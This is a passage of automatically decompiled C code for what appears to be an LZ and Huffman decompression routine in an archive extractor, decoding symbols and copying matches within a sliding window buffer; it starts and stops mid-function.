				signed int _t561;
				signed int _t562;
				unsigned int _t563;
				signed int _t566;
				signed int _t567;
				signed int _t568;
				signed int _t570;
				unsigned int _t571;
				unsigned int _t580;
				unsigned int _t582;
				signed int _t583;
				unsigned int _t584;
				signed int _t587;
				signed int _t588;
				signed int _t589;
				unsigned int _t590;
				signed int _t592;
				unsigned int _t593;
				unsigned int _t594;
				unsigned int _t595;
				signed int _t597;
				void* _t598;
				signed int _t601;
				signed int _t602;
				unsigned int _t603;
				signed int _t606;
				signed int _t607;
				unsigned int _t611;
				signed int _t613;
				unsigned int _t614;
				unsigned int _t616;
				unsigned int _t618;
				signed int _t619;
				unsigned int _t620;
				signed int _t623;
				signed int _t624;
				unsigned int _t625;
				signed int _t626;
				unsigned int _t627;
				signed int _t630;
				signed int _t631;
				signed int _t632;
				unsigned int _t633;
				unsigned int _t634;
				unsigned int _t635;
				signed int _t636;
				signed int _t637;
				signed int _t638;
				unsigned int _t639;
				signed int _t642;
				signed int _t643;
				signed int _t644;
				void* _t648;
				void* _t649;
				signed int _t651;
				unsigned int _t658;
				unsigned int _t660;
				signed char _t661;
				signed int _t662;
				signed int _t666;
				unsigned int _t667;
				unsigned int _t669;
				signed int _t671;
				intOrPtr _t673;
				signed int _t678;
				signed int _t680;
				signed int _t681;
				signed int _t684;
				signed int _t688;
				signed int _t689;
				unsigned int _t695;
				signed int _t696;
				intOrPtr* _t700;
				intOrPtr* _t702;
				signed int _t704;
				signed int _t706;
				unsigned int _t708;
				void* _t710;
				signed int _t715;
				void* _t723;
				unsigned int _t727;
				unsigned int _t730;
				void* _t732;
				signed int _t734;
				char* _t740;
				unsigned int _t741;
				void* _t743;
				intOrPtr* _t747;
				void* _t748;
				signed int _t751;
				signed int _t753;
				unsigned int _t759;
				unsigned int _t762;
				signed int _t766;
				unsigned int _t768;
				void* _t770;
				signed int _t772;
				signed int _t773;
				void* _t779;
				void* _t781;
				signed int _t787;
				void* _t789;
				intOrPtr* _t791;
				void* _t792;
				signed int _t795;
				void* _t798;
				void* _t803;
				signed int _t806;
				void* _t809;
				void* _t814;
				signed int _t817;
				void* _t825;
				signed int _t826;
				intOrPtr _t829;
				unsigned int _t831;
				unsigned int _t832;
				signed int _t834;
				unsigned int _t841;
				void* _t849;
				void* _t854;
				signed int _t855;
				intOrPtr _t858;
				unsigned int _t859;
				signed int _t860;
				signed int _t862;
				intOrPtr _t865;
				signed int _t877;
				intOrPtr _t880;
				signed int _t888;
				signed int _t890;
				intOrPtr _t893;
				signed int _t901;
				signed int _t902;
				signed int _t921;
				signed int _t923;
				intOrPtr _t926;
				intOrPtr* _t934;
				signed int _t935;
				void* _t936;
				void* _t937;
				void* _t938;
				void* _t953;

				_t680 = 0;
				_t936 = __ecx;
				_t938 =  *0x44f6fc - _t680; // 0x0
				if(_t938 != 0) {
					L6:
					 *((char*)(_t936 + 0x4c58)) = 1;
					if( *((char*)(_t936 + 0x4c48)) != 0) {
						L11:
						_t934 = _t936 + 4;
						while(1) {
							L12:
							 *(_t936 + 0x70) =  *(_t936 + 0x70) &  *(_t936 + 0xe6dc);
							if( *_t934 >  *((intOrPtr*)(_t936 + 0x7c)) && E0041236D(_t683, _t936, _t852) == 0) {
								break;
							}
							_t539 =  *((intOrPtr*)(_t936 + 0x74));
							_t704 =  *(_t936 + 0x70);
							_t852 = _t539 - _t704 &  *(_t936 + 0xe6dc);
							if((_t539 - _t704 &  *(_t936 + 0xe6dc)) >= 0x104 || _t539 == _t704) {
								L20:
								if( *(_t936 + 0xe654) != 1) {
									_t540 = E0040978C(_t934);
									_t681 =  *(_t936 + 0x118);
									_t541 = _t540 & 0x0000fffe;
									__eflags = _t541 -  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4));
									if(_t541 >=  *((intOrPtr*)(_t936 + 0x98 + _t681 * 4))) {
										_t852 = 0xf;
										_t706 = _t681 + 1;
										__eflags = _t706 - _t852;
										if(_t706 >= _t852) {
											L90:
											_t708 =  *(_t934 + 4) + _t852;
											 *(_t934 + 4) = _t708 & 0x00000007;
											_t683 = _t708 >> 3;
											 *_t934 =  *_t934 + (_t708 >> 3);
											_t710 = 0x10;
											_t544 = (_t541 -  *((intOrPtr*)(_t936 + 0x94 + _t852 * 4)) >> _t710 - _t852) +  *((intOrPtr*)(_t936 + 0xd8 + _t852 * 4));
											__eflags = _t544 -  *((intOrPtr*)(_t936 + 0x94));
											if(_t544 >=  *((intOrPtr*)(_t936 + 0x94))) {
												_t544 = 0;
												__eflags = 0;
											}
											_t545 =  *(_t936 + 0xd1c + _t544 * 2) & 0x0000ffff;
											L93:
											__eflags = _t545 - 0x100;
											if(_t545 >= 0x100) {
												__eflags = _t545 - 0x10f;
												if(_t545 < 0x10f) {
													__eflags = _t545 - 0x100;
													if(__eflags != 0) {
														__eflags = _t545 - 0x101;
														if(__eflags != 0) {
															__eflags = _t545 - 0x102;
															if(_t545 != 0x102) {
																__eflags = _t545 - 0x107;
																if(_t545 >= 0x107) {
																	__eflags = _t545 - 0x110;
																	if(_t545 >= 0x110) {
																		continue;
																	}
																	_t547 =  *(_t545 + 0x430081) & 0x000000ff;
																	_t683 = ( *(_t545 + 0x430089) & 0x000000ff) + 1;
																	_a4 = _t547;
																	__eflags = _t547;
																	if(_t547 > 0) {
																		_t556 = E0040978C(_t934);
																		_t723 = 0x10;
																		_t683 = _t683 + (_t556 >> _t723 - _a4);
																		_t559 =  *(_t934 + 4) + _a4;
																		 *_t934 =  *_t934 + (_t559 >> 3);
																		_t560 = _t559 & 0x00000007;
																		__eflags = _t560;
																		 *(_t934 + 4) = _t560;
																	}
																	_t715 =  *(_t936 + 0x70);
																	 *(_t936 + 0x60) =  *(_t936 + 0x5c);
																	 *(_t936 + 0x5c) =  *(_t936 + 0x58);
																	 *(_t936 + 0x58) =  *(_t936 + 0x54);
																	_t551 = 2;
																	 *(_t936 + 0x68) = _t551;
																	_a4 = _t551;
																	_t553 = _t715 - _t683;
																	_t854 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																	 *(_t936 + 0x54) = _t683;
																	__eflags = _t553 - _t854;
																	if(_t553 >= _t854) {
																		L218:
																		_t855 =  *(_t936 + 0xe6dc);
																		do {
																			_t683 =  *(_t936 + 0x70);
																			_a4 = _a4 - 1;
																			 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t855 & _t553) +  *((intOrPtr*)(_t936 + 0x4b34))));
																			_t855 =  *(_t936 + 0xe6dc);
																			_t553 = _t553 + 1;
																			__eflags = _a4;
																			 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t855;
																		} while (_a4 > 0);
																	} else {
																		__eflags = _t715 - _t854;
																		if(_t715 >= _t854) {
																			goto L218;
																		}
																		_t858 =  *((intOrPtr*)(_t936 + 0x4b34));
																		_t554 = _t553 + _t858;
																		_t852 = _t858 + _t715;
																		 *(_t936 + 0x70) = _t715 + 2;
																		 *_t852 =  *_t554;
																		 *(_t852 + 1) =  *((intOrPtr*)(_t554 + 1));
																	}
																	continue;
																}
																_t561 = _t545 + 0xfffffefd;
																_t727 = _t936 + 0x54 + _t561 * 4;
																_t859 =  *_t727;
																_v12 = _t859;
																while(1) {
																	__eflags = _t561;
																	if(_t561 <= 0) {
																		break;
																	}
																	 *_t727 =  *(_t727 - 4);
																	_t561 = _t561 - 1;
																	_t727 = _t727 - 4;
																	__eflags = _t727;
																}
																 *(_t936 + 0x54) = _t859;
																_t562 = E0040978C(_t934);
																_t688 =  *(_t936 + 0x2ddc);
																_t563 = _t562 & 0x0000fffe;
																__eflags = _t563 -  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4));
																if(_t563 >=  *((intOrPtr*)(_t936 + 0x2d5c + _t688 * 4))) {
																	_t860 = 0xf;
																	_t689 = _t688 + 1;
																	__eflags = _t689 - _t860;
																	if(_t689 >= _t860) {
																		L185:
																		_t730 =  *(_t934 + 4) + _t860;
																		 *(_t934 + 4) = _t730 & 0x00000007;
																		 *_t934 =  *_t934 + (_t730 >> 3);
																		_t732 = 0x10;
																		_t566 = (_t563 -  *((intOrPtr*)(_t936 + 0x2d58 + _t860 * 4)) >> _t732 - _t860) +  *((intOrPtr*)(_t936 + 0x2d9c + _t860 * 4));
																		__eflags = _t566 -  *((intOrPtr*)(_t936 + 0x2d58));
																		if(_t566 >=  *((intOrPtr*)(_t936 + 0x2d58))) {
																			_t566 = 0;
																			__eflags = 0;
																		}
																		_t567 =  *(_t936 + 0x39e0 + _t566 * 2) & 0x0000ffff;
																		L188:
																		_t568 =  *(_t567 + 0x430198) & 0x000000ff;
																		_t683 = ( *(_t567 + 0x4301b4) & 0x000000ff) + 2;
																		_v16 = _t683;
																		_a4 = _t568;
																		__eflags = _t568;
																		if(_t568 > 0) {
																			_t584 = E0040978C(_t934);
																			_t743 = 0x10;
																			_t683 = _t683 + (_t584 >> _t743 - _a4);
																			_t587 =  *(_t934 + 4) + _a4;
																			_v16 = _t683;
																			 *_t934 =  *_t934 + (_t587 >> 3);
																			_t588 = _t587 & 0x00000007;
																			__eflags = _t588;
																			 *(_t934 + 4) = _t588;
																		}
																		_t734 =  *(_t936 + 0x70);
																		_t570 = _t734 - _v12;
																		_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
																		 *(_t936 + 0x68) = _t683;
																		_a4 = _t683;
																		__eflags = _t570 - _t852;
																		if(_t570 >= _t852) {
																			L208:
																			__eflags = _t683;
																			if(_t683 <= 0) {
																				continue;
																			}
																			_t862 =  *(_t936 + 0xe6dc);
																			do {
																				_t683 =  *(_t936 + 0x70);
																				_a4 = _a4 - 1;
																				 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t862 & _t570) +  *((intOrPtr*)(_t936 + 0x4b34))));
																				_t862 =  *(_t936 + 0xe6dc);
																				_t570 = _t570 + 1;
																				__eflags = _a4;
																				 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t862;
																			} while (_a4 > 0);
																			continue;
																		} else {
																			__eflags = _t734 - _t852;
																			if(_t734 >= _t852) {
																				goto L208;
																			}
																			_t865 =  *((intOrPtr*)(_t936 + 0x4b34));
																			_t683 = _t865 + _t570;
																			_t571 = _v16;
																			_t852 = _t865 + _t734;
																			_v8 = _t852;
																			 *(_t936 + 0x70) = _t734 + _t571;
																			__eflags = _v12 - _t571;
																			if(_v12 >= _t571) {
																				__eflags = _t571 - 8;
																				if(_t571 < 8) {
																					L200:
																					__eflags = _a4;
																					if(_a4 > 0) {
																						__eflags = _a4 - 1;
																						_t740 = _v8;
																						 *_t740 =  *_t683;
																						if(_a4 > 1) {
																							__eflags = _a4 - 2;
																							 *((char*)(_t740 + 1)) =  *((intOrPtr*)(_t683 + 1));
																							if(_a4 > 2) {
																								__eflags = _a4 - 3;
																								 *((char*)(_t740 + 2)) =  *((intOrPtr*)(_t683 + 2));
																								if(_a4 > 3) {
																									__eflags = _a4 - 4;
																									 *((char*)(_t740 + 3)) =  *((intOrPtr*)(_t683 + 3));
																									if(_a4 > 4) {
																										__eflags = _a4 - 5;
																										 *((char*)(_t740 + 4)) =  *((intOrPtr*)(_t683 + 4));
																										if(_a4 > 5) {
																											__eflags = _a4 - 6;
																											 *((char*)(_t740 + 5)) =  *((intOrPtr*)(_t683 + 5));
																											if(_a4 > 6) {
																												 *((char*)(_t740 + 6)) =  *((intOrPtr*)(_t683 + 6));
																											}
																										}
																									}
																								}
																							}
																						}
																					}
																					continue;
																				}
																				_t580 = _v16 >> 3;
																				__eflags = _t580;
																				_v16 = _t580;
																				do {
																					E0041C290(_t683, _t934, _t936, _v8, _t683, 8);
																					_v8 = _v8 + 8;
																					_a4 = _a4 - 8;
																					_t937 = _t937 + 0xc;
																					_t683 = _t683 + 8;
																					_t467 =  &_v16;
																					 *_t467 = _v16 - 1;
																					__eflags =  *_t467;
																				} while ( *_t467 != 0);
																				goto L200;
																			}
																			__eflags = _t571 - 8;
																			if(_t571 < 8) {
																				goto L200;
																			}
																			_t582 = _t571 >> 3;
																			__eflags = _t582;
																			_t741 = _t582;
																			_t583 = _t852;
																			do {
																				_a4 = _a4 - 8;
																				 *_t583 =  *_t683;
																				 *((char*)(_t583 + 1)) =  *((intOrPtr*)(_t683 + 1));
																				 *((char*)(_t583 + 2)) =  *((intOrPtr*)(_t683 + 2));
																				 *((char*)(_t583 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t583 + 4)) =  *((intOrPtr*)(_t683 + 4));
																				 *((char*)(_t583 + 5)) =  *((intOrPtr*)(_t683 + 5));
																				 *((char*)(_t583 + 6)) =  *((intOrPtr*)(_t683 + 6));
																				_t852 =  *((intOrPtr*)(_t683 + 7));
																				 *((char*)(_t583 + 7)) =  *((intOrPtr*)(_t683 + 7));
																				_t683 = _t683 + 8;
																				_t583 = _t583 + 8;
																				_t741 = _t741 - 1;
																				__eflags = _t741;
																			} while (_t741 != 0);
																			_v8 = _t583;
																			goto L200;
																		}
																	}
																	_t747 = _t936 + 0x2d5c + _t689 * 4;
																	while(1) {
																		__eflags = _t563 -  *_t747;
																		if(_t563 <  *_t747) {
																			break;
																		}
																		_t689 = _t689 + 1;
																		_t747 = _t747 + 4;
																		__eflags = _t689 - 0xf;
																		if(_t689 < 0xf) {
																			continue;
																		}
																		goto L185;
																	}
																	_t860 = _t689;
																	goto L185;
																}
																_t748 = 0x10;
																_t589 = _t563 >> _t748 - _t688;
																_t751 = ( *(_t589 + _t936 + 0x2de0) & 0x000000ff) +  *(_t934 + 4);
																 *_t934 =  *_t934 + (_t751 >> 3);
																 *(_t934 + 4) = _t751 & 0x00000007;
																_t567 =  *(_t936 + 0x31e0 + _t589 * 2) & 0x0000ffff;
																goto L188;
															}
															_t590 =  *(_t936 + 0x68);
															__eflags = _t590;
															if(_t590 == 0) {
																continue;
															}
															_t753 =  *(_t936 + 0x70);
															_a4 = _t590;
															_t592 = _t753 -  *(_t936 + 0x54);
															_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
															__eflags = _t592 - _t852;
															if(_t592 >= _t852) {
																L169:
																__eflags = _a4;
																if(_a4 <= 0) {
																	continue;
																}
																_t877 =  *(_t936 + 0xe6dc);
																do {
																	_t683 =  *(_t936 + 0x70);
																	_a4 = _a4 - 1;
																	 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t877 & _t592) +  *((intOrPtr*)(_t936 + 0x4b34))));
																	_t877 =  *(_t936 + 0xe6dc);
																	_t592 = _t592 + 1;
																	__eflags = _a4;
																	 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t877;
																} while (_a4 > 0);
																continue;
															}
															__eflags = _t753 - _t852;
															if(_t753 >= _t852) {
																goto L169;
															}
															_t880 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t880 + _t592;
															_t593 = _a4;
															_t852 = _t880 + _t753;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t753 + _t593;
															__eflags =  *(_t936 + 0x54) - _t593;
															if( *(_t936 + 0x54) >= _t593) {
																__eflags = _t593 - 8;
																if(_t593 < 8) {
																	L146:
																	_t759 = _a4;
																	__eflags = _t759;
																	if(_t759 <= 0) {
																		continue;
																	}
																	_t594 = _v12;
																	L53:
																	_t852 =  *_t683;
																	 *_t594 =  *_t683;
																	__eflags = _t759 - 1;
																	if(_t759 > 1) {
																		_t852 =  *((intOrPtr*)(_t683 + 1));
																		 *((char*)(_t594 + 1)) =  *((intOrPtr*)(_t683 + 1));
																		__eflags = _t759 - 2;
																		if(_t759 > 2) {
																			_t852 =  *((intOrPtr*)(_t683 + 2));
																			 *((char*)(_t594 + 2)) =  *((intOrPtr*)(_t683 + 2));
																			__eflags = _t759 - 3;
																			if(_t759 > 3) {
																				_t852 =  *((intOrPtr*)(_t683 + 3));
																				 *((char*)(_t594 + 3)) =  *((intOrPtr*)(_t683 + 3));
																				__eflags = _t759 - 4;
																				if(_t759 > 4) {
																					_t852 =  *((intOrPtr*)(_t683 + 4));
																					 *((char*)(_t594 + 4)) =  *((intOrPtr*)(_t683 + 4));
																					__eflags = _t759 - 5;
																					if(_t759 > 5) {
																						_t852 =  *((intOrPtr*)(_t683 + 5));
																						 *((char*)(_t594 + 5)) =  *((intOrPtr*)(_t683 + 5));
																						__eflags = _t759 - 6;
																						if(_t759 > 6) {
																							 *((char*)(_t594 + 6)) =  *((intOrPtr*)(_t683 + 6));
																						}
																					}
																				}
																			}
																		}
																	}
																	continue;
																}
																_t595 = _t593 >> 3;
																__eflags = _t595;
																_v16 = _t595;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t377 =  &_v16;
																	 *_t377 = _v16 - 1;
																	__eflags =  *_t377;
																} while ( *_t377 != 0);
																goto L146;
															}
															__eflags = _t593 - 8;
															if(_t593 < 8) {
																goto L146;
															}
															_t762 = _t593 >> 3;
															__eflags = _t762;
															_t597 = _t852;
															do {
																_a4 = _a4 - 8;
																 *_t597 =  *_t683;
																 *((char*)(_t597 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t597 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t597 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t597 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t597 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t597 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t597 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + 8;
																_t597 = _t597 + 8;
																_t762 = _t762 - 1;
																__eflags = _t762;
															} while (_t762 != 0);
															L142:
															_v12 = _t597;
															goto L146;
														}
														_t598 = E00417B97(_t936, _t852, __eflags);
														L25:
														if(_t598 != 0) {
															continue;
														} else {
															break;
														}
													}
													_t598 = E00414F0A(_t936, __eflags);
													goto L25;
												}
												_t601 =  *(_t545 + 0x430089) & 0x000000ff;
												_t695 = ( *(_t545 + 0x4300a5) & 0x000000ff) + 3;
												_v8 = _t695;
												_a4 = _t601;
												__eflags = _t601;
												if(_t601 > 0) {
													_t639 = E0040978C(_t934);
													_t809 = 0x10;
													_t642 =  *(_t934 + 4) + _a4;
													_v8 = _t695 + (_t639 >> _t809 - _a4);
													 *_t934 =  *_t934 + (_t642 >> 3);
													_t643 = _t642 & 0x00000007;
													__eflags = _t643;
													 *(_t934 + 4) = _t643;
												}
												_t602 = E0040978C(_t934);
												_t696 =  *(_t936 + 0x1004);
												_t603 = _t602 & 0x0000fffe;
												__eflags = _t603 -  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4));
												if(_t603 >=  *((intOrPtr*)(_t936 + 0xf84 + _t696 * 4))) {
													_t888 = 0xf;
													_t766 = _t696 + 1;
													__eflags = _t766 - _t888;
													if(_t766 >= _t888) {
														L107:
														_t768 =  *(_t934 + 4) + _t888;
														 *(_t934 + 4) = _t768 & 0x00000007;
														 *_t934 =  *_t934 + (_t768 >> 3);
														_t770 = 0x10;
														_t606 = (_t603 -  *((intOrPtr*)(_t936 + 0xf80 + _t888 * 4)) >> _t770 - _t888) +  *((intOrPtr*)(_t936 + 0xfc4 + _t888 * 4));
														__eflags = _t606 -  *((intOrPtr*)(_t936 + 0xf80));
														if(_t606 >=  *((intOrPtr*)(_t936 + 0xf80))) {
															_t606 = 0;
															__eflags = 0;
														}
														_t607 =  *(_t936 + 0x1c08 + _t606 * 2) & 0x0000ffff;
														goto L110;
													}
													_t700 = _t936 + 0xf84 + _t766 * 4;
													while(1) {
														__eflags = _t603 -  *_t700;
														if(_t603 <  *_t700) {
															break;
														}
														_t766 = _t766 + 1;
														_t700 = _t700 + 4;
														__eflags = _t766 - 0xf;
														if(_t766 < 0xf) {
															continue;
														}
														goto L107;
													}
													_t888 = _t766;
													goto L107;
												} else {
													_t803 = 0x10;
													_t638 = _t603 >> _t803 - _t696;
													_t806 = ( *(_t638 + _t936 + 0x1008) & 0x000000ff) +  *(_t934 + 4);
													 *_t934 =  *_t934 + (_t806 >> 3);
													 *(_t934 + 4) = _t806 & 0x00000007;
													_t607 =  *(_t936 + 0x1408 + _t638 * 2) & 0x0000ffff;
													L110:
													_t772 =  *(_t607 + 0x44f6b8) & 0x000000ff;
													_t683 =  *((intOrPtr*)(0x44f6f8 + _t607 * 4)) + 1;
													_v16 = _t683;
													_a4 = _t772;
													__eflags = _t772;
													if(_t772 <= 0) {
														L133:
														__eflags = _t683 - 0x2000;
														if(_t683 >= 0x2000) {
															_v8 = _v8 + 1;
															__eflags = _t683 - 0x40000;
															if(_t683 >= 0x40000) {
																_t281 =  &_v8;
																 *_t281 = _v8 + 1;
																__eflags =  *_t281;
															}
														}
														_t773 =  *(_t936 + 0x70);
														 *(_t936 + 0x60) =  *(_t936 + 0x5c);
														 *(_t936 + 0x5c) =  *(_t936 + 0x58);
														 *(_t936 + 0x58) =  *(_t936 + 0x54);
														_t611 = _v8;
														 *(_t936 + 0x68) = _t611;
														_a4 = _t611;
														_t613 = _t773 - _t683;
														_t852 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
														 *(_t936 + 0x54) = _t683;
														__eflags = _t613 - _t852;
														if(_t613 >= _t852) {
															L148:
															__eflags = _v8;
															if(_v8 <= 0) {
																continue;
															}
															_t890 =  *(_t936 + 0xe6dc);
															do {
																_t683 =  *(_t936 + 0x70);
																_a4 = _a4 - 1;
																 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) =  *((intOrPtr*)((_t890 & _t613) +  *((intOrPtr*)(_t936 + 0x4b34))));
																_t890 =  *(_t936 + 0xe6dc);
																_t613 = _t613 + 1;
																__eflags = _a4;
																 *(_t936 + 0x70) =  *(_t936 + 0x70) + 0x00000001 & _t890;
															} while (_a4 > 0);
															continue;
														} else {
															__eflags = _t773 - _t852;
															if(_t773 >= _t852) {
																goto L148;
															}
															_t893 =  *((intOrPtr*)(_t936 + 0x4b34));
															_t683 = _t893 + _t613;
															_t614 = _v8;
															_t852 = _t893 + _t773;
															_v12 = _t852;
															 *(_t936 + 0x70) = _t773 + _t614;
															__eflags = _v16 - _t614;
															if(_v16 >= _t614) {
																__eflags = _t614 - 8;
																if(_t614 < 8) {
																	goto L146;
																}
																_t616 = _v8 >> 3;
																__eflags = _t616;
																_v16 = _t616;
																do {
																	E0041C290(_t683, _t934, _t936, _v12, _t683, 8);
																	_v12 = _v12 + 8;
																	_a4 = _a4 - 8;
																	_t937 = _t937 + 0xc;
																	_t683 = _t683 + 8;
																	_t328 =  &_v16;
																	 *_t328 = _v16 - 1;
																	__eflags =  *_t328;
																} while ( *_t328 != 0);
																goto L146;
															}
															_t779 = 8;
															__eflags = _t614 - _t779;
															if(_t614 < _t779) {
																goto L146;
															}
															_t618 = _t614 >> 3;
															__eflags = _t618;
															_v16 = _t618;
															_t619 = _t852;
															do {
																_a4 = _a4 - _t779;
																 *_t619 =  *_t683;
																 *((char*)(_t619 + 1)) =  *((intOrPtr*)(_t683 + 1));
																 *((char*)(_t619 + 2)) =  *((intOrPtr*)(_t683 + 2));
																 *((char*)(_t619 + 3)) =  *((intOrPtr*)(_t683 + 3));
																 *((char*)(_t619 + 4)) =  *((intOrPtr*)(_t683 + 4));
																 *((char*)(_t619 + 5)) =  *((intOrPtr*)(_t683 + 5));
																 *((char*)(_t619 + 6)) =  *((intOrPtr*)(_t683 + 6));
																_t852 =  *((intOrPtr*)(_t683 + 7));
																 *((char*)(_t619 + 7)) =  *((intOrPtr*)(_t683 + 7));
																_t683 = _t683 + _t779;
																_t619 = _t619 + _t779;
																_t318 =  &_v16;
																 *_t318 = _v16 - 1;
																__eflags =  *_t318;
															} while ( *_t318 != 0);
															goto L142;
														}
													}
													__eflags = _t607 - 9;
													if(_t607 <= 9) {
														_t620 = E0040978C(_t934);
														_t781 = 0x10;
														_t683 = _t683 + (_t620 >> _t781 - _a4);
														_t623 =  *(_t934 + 4) + _a4;
														 *_t934 =  *_t934 + (_t623 >> 3);
														_t624 = _t623 & 0x00000007;
														__eflags = _t624;
														 *(_t934 + 4) = _t624;
														L132:
														_v16 = _t683;
														goto L133;
													}
													__eflags = _t772 - 4;
													if(_t772 > 4) {
														_t634 = E0040978C(_t934);
														_t635 = _a4;
														_t798 = 0x14;
														_t636 =  *(_t934 + 4) + _t635 - 4;
														 *_t934 =  *_t934 + (_t636 >> 3);
														_t683 = _t683 + (_t634 >> _t798 - _t635 << 4);
														_t637 = _t636 & 0x00000007;
														__eflags = _t637;
														 *(_t934 + 4) = _t637;
													}
													_t625 =  *(_t936 + 0x98cc);
													__eflags = _t625;
													if(_t625 <= 0) {
														_t626 = E0040978C(_t934);
														_t901 =  *(_t936 + 0x1ef0);
														_t627 = _t626 & 0x0000fffe;
														__eflags = _t627 -  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4));
														if(_t627 >=  *((intOrPtr*)(_t936 + 0x1e70 + _t901 * 4))) {
															_t902 = _t901 + 1;
															_a4 = 0xf;
															__eflags = _t902 - 0xf;
															if(_t902 >= 0xf) {
																L125:
																_t787 =  *(_t934 + 4) + _a4;
																 *_t934 =  *_t934 + (_t787 >> 3);
																_t905 = _a4;
																 *(_t934 + 4) = _t787 & 0x00000007;
																_t789 = 0x10;
																_t630 = (_t627 -  *((intOrPtr*)(_t936 + 0x1e6c + _a4 * 4)) >> _t789 - _a4) +  *((intOrPtr*)(_t936 + 0x1eb0 + _t905 * 4));
																__eflags = _t630 -  *((intOrPtr*)(_t936 + 0x1e6c));
																if(_t630 >=  *((intOrPtr*)(_t936 + 0x1e6c))) {
																	_t630 = 0;
																	__eflags = 0;
																}
																_t631 =  *(_t936 + 0x2af4 + _t630 * 2) & 0x0000ffff;
																L128:
																__eflags = _t631 - 0x10;
																if(_t631 != 0x10) {
																	_t683 = _t683 + _t631;
																	 *(_t936 + 0x98c8) = _t631;
																	goto L132;
																}
																 *(_t936 + 0x98cc) = 0xf;
																goto L116;
															}
															_t791 = _t936 + 0x1e70 + _t902 * 4;
															while(1) {
																__eflags = _t627 -  *_t791;
																if(_t627 <  *_t791) {
																	break;
																}
																_t902 = _t902 + 1;
																_t791 = _t791 + 4;
																__eflags = _t902 - 0xf;
																if(_t902 < 0xf) {
																	continue;
																}
																goto L125;
															}
															_a4 = _t902;
															goto L125;
														}
														_t792 = 0x10;
														_t632 = _t627 >> _t792 - _t901;
														_t795 = ( *(_t632 + _t936 + 0x1ef4) & 0x000000ff) +  *(_t934 + 4);
														 *_t934 =  *_t934 + (_t795 >> 3);
														 *(_t934 + 4) = _t795 & 0x00000007;
														_t631 =  *(_t936 + 0x22f4 + _t632 * 2) & 0x0000ffff;
														goto L128;
													} else {
														_t633 = _t625 - 1;
														__eflags = _t633;
														 *(_t936 + 0x98cc) = _t633;
														L116:
														_t683 = _t683 +  *(_t936 + 0x98c8);
														goto L132;
													}
												}
											}
											_t852 =  *(_t936 + 0x70);
											 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t545;
											L95:
											 *(_t936 + 0x70) =  *(_t936 + 0x70) + 1;
											continue;
										}
										_t702 = _t936 + 0x98 + _t706 * 4;
										while(1) {
											__eflags = _t541 -  *_t702;
											if(_t541 <  *_t702) {
												break;
											}
											_t706 = _t706 + 1;
											_t702 = _t702 + 4;
											__eflags = _t706 - 0xf;
											if(_t706 < 0xf) {
												continue;
											}
											goto L90;
										}
										_t852 = _t706;
										goto L90;
									}
									_t814 = 0x10;
									_t644 = _t541 >> _t814 - _t681;
									_t817 = ( *(_t644 + _t936 + 0x11c) & 0x000000ff) +  *(_t934 + 4);
									_t852 = _t817 >> 3;
									 *_t934 =  *_t934 + (_t817 >> 3);
									 *(_t934 + 4) = _t817 & 0x00000007;
									_t545 =  *(_t936 + 0x51c + _t644 * 2) & 0x0000ffff;
									goto L93;
								}
								_t683 = E00413B29(_t936 + 0x98d0);
								if(_t683 == 0xffffffff) {
									E00413A60(_t936 + 0x98d0, _t852);
									_t535 = _t936 + 0xe654;
									 *_t535 =  *(_t936 + 0xe654) & 0x00000000;
									__eflags =  *_t535;
									break;
								}
								if(_t683 !=  *((intOrPtr*)(_t936 + 0xe4bc))) {
									L81:
									 *( *((intOrPtr*)(_t936 + 0x4b34)) +  *(_t936 + 0x70)) = _t683;
									goto L95;
								}
								_t648 = E00413E39(_t936);
								if(_t648 != 0) {
									__eflags = _t648 - 0xffffffff;
									if(_t648 == 0xffffffff) {
										break;
									}
									__eflags = _t648 - 2;
									if(_t648 == 2) {
										break;
									}
									__eflags = _t648 - 3;
									if(__eflags != 0) {
										__eflags = _t648 - 4;
										if(_t648 != 4) {
											__eflags = _t648 - 5;
											if(_t648 != 5) {
												goto L81;
											}
											_t649 = E00413E39(_t936);
											__eflags = _t649 - 0xffffffff;
											if(_t649 == 0xffffffff) {
												break;
											}
											_a4 = _t649 + 4;
											_t651 =  *(_t936 + 0x70);
											_t852 = _t651 - 1;
											_t825 =  *((intOrPtr*)(_t936 + 0xe6d8)) + 0xffffefff;
											__eflags = _t852 - _t825;
											if(_t852 >= _t825) {
												L77:
												__eflags = _a4;
												if(_a4 <= 0) {
													continue;
												}
												_t826 =  *(_t936 + 0xe6dc);
												do {
													_t683 =  *(_t936 + 0x70);
													_a4 = _a4 - 1;
